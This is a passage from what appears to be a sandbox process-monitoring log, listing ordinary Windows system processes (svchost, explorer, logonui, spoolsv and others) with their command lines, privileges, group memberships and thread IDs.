AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\DcomLaunch" [0xa], "NT SERVICE\\PlugPlay" [0xe], "NT SERVICE\\Power" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000705a" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 285 os_tid = 0x244 Thread: id = 287 os_tid = 0x24c Thread: id = 288 os_tid = 0x250 Thread: id = 289 os_tid = 0x254 Thread: id = 290 os_tid = 0x258 Thread: id = 291 os_tid = 0x25c Thread: id = 292 os_tid = 0x260 Thread: id = 293 os_tid = 0x264 Thread: id = 295 os_tid = 0x268 Thread: id = 297 os_tid = 0x26c Thread: id = 298 os_tid = 0x270 Thread: id = 299 os_tid = 0x274 Thread: id = 302 os_tid = 0x280 Thread: id = 304 os_tid = 0x28c Thread: id = 305 os_tid = 0x290 Thread: id = 307 os_tid = 0x298 Thread: id = 346 os_tid = 0x338 Thread: id = 608 os_tid = 0x6e4 Thread: id = 619 os_tid = 0x710 Process: id = "25" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xf03c000" os_pid = "0x284" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k RPCSS" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\RpcEptMapper" [0xe], "NT SERVICE\\RpcSs" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b66a" [0xc000000f], "LOCAL" [0x7] Thread: id = 303 os_tid = 0x288 Thread: id = 306 os_tid = 0x294 Thread: id = 308 os_tid = 0x29c Thread: id = 309 os_tid = 0x2a0 Thread: id = 310 os_tid = 0x2a4 Thread: id = 311 os_tid = 0x2a8 Thread: id = 312 os_tid = 0x2ac Thread: id = 313 os_tid = 0x2b0 Thread: id = 460 os_tid = 0x488 Thread: id = 610 os_tid = 0x6ec Thread: id = 655 os_tid = 0x7ac Thread: id = 676 os_tid = 0x3cc Process: id = "26" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xe049000" os_pid = "0x2b4" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalServiceNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xa], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b995" [0xc000000f], "LOCAL" [0x7] Thread: id = 315 os_tid = 0x2b8 Thread: id = 317 os_tid = 0x2c4 Thread: id = 321 os_tid = 0x2d4 Thread: id = 323 os_tid = 0x2dc Thread: id = 324 os_tid = 0x2e0 Thread: id = 338 os_tid = 0x300 Thread: id = 339 os_tid = 0x304 Thread: id = 348 os_tid = 0x348 Thread: id = 350 os_tid = 0x350 Thread: id = 351 os_tid = 0x354 Thread: id = 353 os_tid = 0x358 Thread: id = 354 os_tid = 0x35c Thread: id = 369 os_tid = 0x39c Thread: id = 370 os_tid = 0x3a0 Thread: id = 371 os_tid = 0x3a4 Thread: id = 374 os_tid = 0x3b4 Thread: id = 376 os_tid = 0x3bc Thread: id = 431 os_tid = 0x3a0 Thread: id = 436 os_tid = 0x420 Thread: id = 440 os_tid = 0x42c Thread: id = 446 os_tid = 0x44c Thread: id = 450 os_tid = 0x45c Thread: id = 451 os_tid = 0x460 Thread: id = 532 os_tid = 0x5b0 Thread: id = 559 os_tid = 0x620 Thread: id = 567 os_tid = 0x640 Thread: id = 569 os_tid = 0x648 Thread: id = 570 os_tid = 0x64c Thread: id = 576 os_tid = 0x668 Thread: id = 579 os_tid = 0x674 Thread: id = 580 os_tid = 0x678 Process: id = "27" image_name = "logonui.exe" filename = "c:\\windows\\system32\\logonui.exe" page_root = "0xe3d6000" os_pid = "0x2f8" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "20" os_parent_pid = "0x188" cmd_line = "\"LogonUI.exe\" /flags:0x0" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Thread: id = 330 os_tid = 0x2fc Thread: id = 331 os_tid = 0x30c Thread: id = 332 os_tid = 0x310 Thread: id = 334 os_tid = 0x314 Thread: id = 335 os_tid = 0x31c Thread: id = 336 os_tid = 0x320 Thread: id = 341 os_tid = 0x328 Thread: id = 342 os_tid = 0x32c Thread: id = 343 os_tid = 0x330 Thread: id = 344 os_tid = 0x334 Thread: id = 491 os_tid = 0x514 Process: id = "28" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xbb52000" os_pid = "0x340" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\AudioEndpointBuilder" [0xe], "NT SERVICE\\CscService" [0xa], "NT SERVICE\\dot3svc" [0xa], "NT SERVICE\\hidserv" [0xa], "NT SERVICE\\HomeGroupListener" [0xa], "NT SERVICE\\IPBusEnum" [0xa], "NT SERVICE\\Netman" [0xa], "NT SERVICE\\PcaSvc" [0xa], "NT SERVICE\\StorSvc" [0xa], "NT SERVICE\\TabletInputService" [0xa], "NT SERVICE\\TrkWks" [0xa], "NT SERVICE\\UmRdpService" [0xa], "NT SERVICE\\UxSms" [0xa], "NT SERVICE\\WdiSystemHost" [0xa], "NT SERVICE\\Wlansvc" [0xa], "NT SERVICE\\WPDBusEnum" [0xa], "NT SERVICE\\wudfsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000cdd2" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 347 os_tid = 0x344 Thread: id = 349 os_tid = 0x34c Thread: id = 355 os_tid = 0x360 Thread: id = 356 os_tid = 0x364 Thread: id = 357 os_tid = 0x368 Thread: id = 359 os_tid = 0x374 Thread: id = 360 os_tid = 0x378 Thread: id = 362 os_tid = 0x380 Thread: id = 363 os_tid = 0x384 Thread: id = 365 os_tid = 0x38c Thread: id = 379 os_tid = 0x3c8 Thread: id = 381 os_tid = 0x3d0 Thread: id = 384 os_tid = 0x3e0 Thread: id = 385 os_tid = 0x3e4 Thread: id = 387 os_tid = 0x3ec Thread: id = 388 os_tid = 0x3f0 Thread: id = 393 os_tid = 0xf4 Thread: id = 394 os_tid = 0xf0 Thread: id = 424 os_tid = 0x3cc Thread: id = 429 os_tid = 0xfc Thread: id = 443 os_tid = 0x440 Thread: id = 444 os_tid = 0x444 Thread: id = 599 os_tid = 0x6c4 Thread: id = 601 os_tid = 0x6cc Thread: id = 602 os_tid = 0x6d0 Thread: id = 603 os_tid = 0x6d4 Thread: id = 606 os_tid = 0x6dc Thread: id = 640 os_tid = 0x764 Thread: id = 641 os_tid = 0x768 Thread: id = 642 os_tid = 0x774 Thread: id = 654 os_tid = 0x7a8 Thread: id = 660 os_tid = 0x7c0 Thread: id = 672 os_tid = 0x7f0 Thread: id = 700 os_tid = 0x4cc Thread: id = 702 os_tid = 0x328 Thread: id = 704 os_tid = 0x314 Process: id = "29" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0xa459000" os_pid = "0x36c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d18c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 358 os_tid = 0x370 Thread: id = 361 os_tid = 0x37c Thread: id = 364 os_tid = 0x388 Thread: id = 366 os_tid = 0x390 Thread: id = 367 os_tid = 0x394 Thread: id = 368 os_tid = 0x398 Thread: id = 380 os_tid = 0x3cc Thread: id = 383 os_tid = 0x3dc Thread: id = 386 os_tid = 0x3e8 Thread: id = 389 os_tid = 0x3f4 Thread: id = 392 os_tid = 0xcc Thread: id = 405 os_tid = 0x130 Thread: id = 407 os_tid = 0x148 Thread: id = 408 os_tid = 0x174 Thread: id = 416 os_tid = 0x20c Thread: id = 417 os_tid = 0x204 Thread: id = 459 os_tid = 0x480 Thread: id = 461 os_tid = 0x48c Thread: id = 462 os_tid = 0x490 Thread: id = 466 os_tid = 0x49c Thread: id = 467 os_tid = 0x4a0 Thread: id = 470 os_tid = 0x414 Thread: id = 476 os_tid = 0x41c Thread: id = 494 os_tid = 0x50c Thread: id = 604 os_tid = 0x6d8 Thread: id = 607 os_tid = 0x6e0 Thread: id = 609 os_tid = 0x6e8 Thread: id = 611 os_tid = 0x6f0 Thread: id = 612 os_tid = 0x6f4 Thread: id = 613 os_tid = 0x6f8 Thread: id = 614 os_tid = 0x6fc Thread: id = 615 os_tid = 0x700 Thread: id = 616 os_tid = 0x704 Thread: id = 617 os_tid = 0x708 Thread: id = 618 os_tid = 0x70c Thread: id = 620 os_tid = 0x714 Thread: id = 622 os_tid = 0x71c Thread: id = 623 os_tid = 0x720 Thread: id = 629 os_tid = 0x734 Thread: id = 632 os_tid = 0x744 Thread: id = 633 os_tid = 0x748 Thread: id = 634 os_tid = 0x74c Thread: id = 637 os_tid = 0x758 Thread: id = 638 os_tid = 0x75c Thread: id = 665 os_tid = 0x7d4 Thread: id = 666 os_tid = 0x7d8 Thread: id = 669 os_tid = 0x7e4 Thread: id = 671 os_tid = 0x7ec Thread: id = 677 os_tid = 0x418 Thread: id = 679 os_tid = 0x434 Thread: id = 681 os_tid = 0x458 Thread: id = 682 os_tid = 0x118 Thread: id = 683 os_tid = 0x484 Thread: id = 705 os_tid = 0x52c Thread: id = 706 os_tid = 0x30c Thread: id = 707 os_tid = 0x32c Thread: id = 708 os_tid = 0x330 Thread: id = 709 os_tid = 0x334 Thread: id = 710 os_tid = 0x514 Thread: id = 711 os_tid = 0x2fc Thread: id = 712 os_tid = 0x310 Thread: id = 713 os_tid = 0x2f8 Thread: id = 714 os_tid = 0x4e0 Thread: id = 715 os_tid = 0x594 Thread: id = 716 os_tid = 0x500 Process: id = "30" image_name = "audiodg.exe" filename = "c:\\windows\\system32\\audiodg.exe" page_root = "0xa8c7000" os_pid = "0x3a8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "26" os_parent_pid = "0x2b4" cmd_line = "C:\\Windows\\system32\\AUDIODG.EXE 0x2f8" cur_dir = "C:\\Windows" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Audiosrv" [0xe], "NT SERVICE\\Dhcp" [0xa], "NT SERVICE\\eventlog" [0xe], "NT SERVICE\\HomeGroupProvider" [0xa], "NT SERVICE\\lmhosts" [0xa], "NT SERVICE\\WPCSvc" [0xa], "NT SERVICE\\wscsvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000b995" [0xc000000f], "LOCAL" [0x7] Thread: id = 372 os_tid = 0x3ac Thread: id = 373 os_tid = 0x3b0 Thread: id = 375 os_tid = 0x3b8 Thread: id = 377 os_tid = 0x3c0 Thread: id = 378 os_tid = 0x3c4 Thread: id = 547 os_tid = 0x5f0 Thread: id = 550 os_tid = 0x5fc Thread: id = 554 os_tid = 0x60c Thread: id = 558 os_tid = 0x61c Thread: id = 560 os_tid = 0x624 Thread: id = 563 os_tid = 0x630 Thread: id = 564 os_tid = 0x634 Process: id = "31" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x9f69000" os_pid = "0x3f8" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT SERVICE\\WebClient" [0xa], "NT SERVICE\\WinHttpAutoProxySvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000e02c" [0xc000000f], "LOCAL" [0x7] Thread: id = 390 os_tid = 0x3fc Thread: id = 391 os_tid = 0xc8 Thread: id = 395 os_tid = 0x100 Thread: id = 398 os_tid = 0x10c Thread: id = 399 os_tid = 0x108 Thread: id = 404 os_tid = 0x138 Thread: id = 406 os_tid = 0x12c Thread: id = 435 os_tid = 0x418 Thread: id = 535 os_tid = 0x5bc Thread: id = 631 os_tid = 0x740 Thread: id = 635 os_tid = 0x750 Thread: id = 639 os_tid = 0x760 Thread: id = 650 os_tid = 0x798 Thread: id = 651 os_tid = 0x79c Thread: id = 668 os_tid = 0x7e0 Thread: id = 670 os_tid = 0x7e8 Thread: id = 680 os_tid = 0x478 Thread: id = 684 os_tid = 0x114 Thread: id = 686 os_tid = 0x104 Process: id = "32" image_name = "dllhost.exe" filename = "c:\\windows\\system32\\dllhost.exe" page_root = "0x759e000" os_pid = "0x160" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "24" os_parent_pid = "0x240" cmd_line = "C:\\Windows\\system32\\DllHost.exe /Processid:{E10F6C3A-F1AE-4ADC-AA9D-2FE65525666E}" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d18c" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 409 os_tid = 0x15c Thread: id = 410 os_tid = 0x104 Thread: id = 411 os_tid = 0x1ac Thread: id = 412 os_tid = 0x208 Thread: id = 413 os_tid = 0x114 Thread: id = 414 os_tid = 0x118 Thread: id = 415 os_tid = 0x1c8 Process: id = "33" image_name = "userinit.exe" filename = "c:\\windows\\system32\\userinit.exe" page_root = "0x827a000" os_pid = "0x254" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "20" os_parent_pid = "0x188" cmd_line = "C:\\Windows\\system32\\userinit.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e64a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 418 os_tid = 0x280 Thread: id = 577 os_tid = 0x66c Thread: id = 578 os_tid = 0x670 Process: id = "34" image_name = "explorer.exe" filename = "c:\\windows\\explorer.exe" page_root = "0x8afa000" os_pid = "0x2a0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "33" os_parent_pid = "0x254" cmd_line = "C:\\Windows\\Explorer.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e64a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 419 os_tid = 0x2f0 Thread: id = 420 os_tid = 0x368 Thread: id = 421 os_tid = 0x39c Thread: id = 425 os_tid = 0x144 Thread: id = 426 os_tid = 0x108 Thread: id = 427 os_tid = 0x174 Thread: id = 430 os_tid = 0x1c8 Thread: id = 433 os_tid = 0x40c Thread: id = 434 os_tid = 0x410 Thread: id = 453 os_tid = 0x468 Thread: id = 463 os_tid = 0x494 Thread: id = 464 os_tid = 0x498 Thread: id = 468 os_tid = 0x4b0 Thread: id = 471 os_tid = 0x4b4 Thread: id = 472 os_tid = 0x4b8 Thread: id = 473 os_tid = 0x4bc Thread: id = 474 os_tid = 0x4c0 Thread: id = 475 os_tid = 0x4c4 Thread: id = 477 os_tid = 0x4d8 Thread: id = 478 os_tid = 0x4dc Thread: id = 479 os_tid = 0x4e0 Thread: id = 481 os_tid = 0x4e4 Thread: id = 482 os_tid = 0x4e8 Thread: id = 486 os_tid = 0x4f8 Thread: id = 492 os_tid = 0x504 Thread: id = 501 os_tid = 0x528 Thread: id = 503 os_tid = 0x534 Thread: id = 508 os_tid = 0x550 Thread: id = 525 os_tid = 0x598 Thread: id = 531 os_tid = 0x5ac Thread: id = 536 os_tid = 0x5c0 Thread: id = 537 os_tid = 0x5c4 Thread: id = 538 os_tid = 0x5c8 Thread: id = 541 os_tid = 0x5dc Thread: id = 544 os_tid = 0x5e4 Thread: id = 548 os_tid = 0x5f4 Thread: id = 549 os_tid = 0x5f8 Thread: id = 647 os_tid = 0x788 Thread: id = 658 os_tid = 0x7b8 Thread: id = 659 os_tid = 0x7bc Thread: id = 661 os_tid = 0x7c4 Thread: id = 663 os_tid = 0x7cc Thread: id = 687 os_tid = 0x1ac Process: id = "35" image_name = "dwm.exe" filename = "c:\\windows\\system32\\dwm.exe" page_root = "0x77fd000" os_pid = "0x404" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "28" os_parent_pid = "0x340" cmd_line = "\"C:\\Windows\\system32\\Dwm.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e64a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 432 os_tid = 0x408 Thread: id = 437 os_tid = 0x424 Thread: id = 438 os_tid = 0x428 Thread: id = 439 os_tid = 0x430 Thread: id = 441 os_tid = 0x434 Thread: id = 644 os_tid = 0x77c Thread: id = 645 os_tid = 0x780 Process: id = "36" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x708b000" os_pid = "0x438" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\system32\\svchost.exe -k NetworkService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\CryptSvc" [0xa], "NT SERVICE\\Dnscache" [0xe], "NT SERVICE\\LanmanWorkstation" [0xa], "NT SERVICE\\napagent" [0xa], "NT SERVICE\\NlaSvc" [0xa], "NT SERVICE\\TapiSrv" [0xa], "NT SERVICE\\TermService" [0xa], "NT SERVICE\\Wecsvc" [0xa], "NT SERVICE\\WinRM" [0xa], "NT AUTHORITY\\Logon Session 00000000:00010664" [0xc000000f], "LOCAL" [0x7] Thread: id = 442 os_tid = 0x43c Thread: id = 445 os_tid = 0x448 Thread: id = 447 os_tid = 0x450 Thread: id = 448 os_tid = 0x454 Thread: id = 449 os_tid = 0x458 Thread: id = 452 os_tid = 0x464 Thread: id = 454 os_tid = 0x46c Thread: id = 455 os_tid = 0x470 Thread: id = 456 os_tid = 0x474 Thread: id = 457 os_tid = 0x478 Thread: id = 458 os_tid = 0x47c Thread: id = 496 os_tid = 0x518 Thread: id = 573 os_tid = 0x658 Thread: id = 581 os_tid = 0x67c Thread: id = 582 os_tid = 0x680 Thread: id = 583 os_tid = 0x688 Thread: id = 585 os_tid = 0x690 Thread: id = 589 os_tid = 0x6a0 Thread: id = 593 os_tid = 0x6ac Thread: id = 596 os_tid = 0x6b8 Thread: id = 597 os_tid = 0x6bc Thread: id = 598 os_tid = 0x6c0 Thread: id = 627 os_tid = 0x684 Thread: id = 662 os_tid = 0x7c8 Thread: id = 664 os_tid = 0x7d0 Thread: id = 717 os_tid = 0x580 Process: id = "37" image_name = "bcssync.exe" filename = "c:\\program files\\microsoft office\\office14\\bcssync.exe" page_root = "0x5a7b000" os_pid = "0x4c8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x2a0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe\" /DelayServices" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e64a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 484 os_tid = 0x4cc Process: id = "38" image_name = "runonce.exe" filename = "c:\\windows\\syswow64\\runonce.exe" page_root = "0x6785000" os_pid = "0x4d0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "34" os_parent_pid = "0x2a0" cmd_line = "C:\\Windows\\SysWOW64\\runonce.exe /Run6432" cur_dir = "C:\\Windows\\SysWOW64\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e64a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 485 os_tid = 0x4d4 Thread: id = 490 os_tid = 0x500 Thread: id = 500 os_tid = 0x524 Thread: id = 514 os_tid = 0x56c Thread: id = 519 os_tid = 0x580 Process: id = "39" image_name = "spoolsv.exe" filename = "c:\\windows\\system32\\spoolsv.exe" page_root = "0x79c93000" os_pid = "0x4f0" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "C:\\Windows\\System32\\spoolsv.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "32" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\Spooler" [0xe], "NT AUTHORITY\\Logon Session 00000000:00011b35" [0xc000000f], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 488 os_tid = 0x4f4 Thread: id = 495 os_tid = 0x510 Thread: id = 497 os_tid = 0x51c Thread: id = 498 os_tid = 0x520 Thread: id = 502 os_tid = 0x530 Thread: id = 509 os_tid = 0x554 Process: id = "40" image_name = "taskhost.exe" filename = "c:\\windows\\system32\\taskhost.exe" page_root = "0x79143000" os_pid = "0x538" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "21" os_parent_pid = "0x1b4" cmd_line = "\"taskhost.exe\"" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e64a" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 504 os_tid = 0x53c Thread: id = 506 os_tid = 0x548 Thread: id = 511 os_tid = 0x55c Thread: id = 520 os_tid = 0x584 Thread: id = 522 os_tid = 0x58c Thread: id = 523 os_tid = 0x590 Thread: id = 530 os_tid = 0x5a8 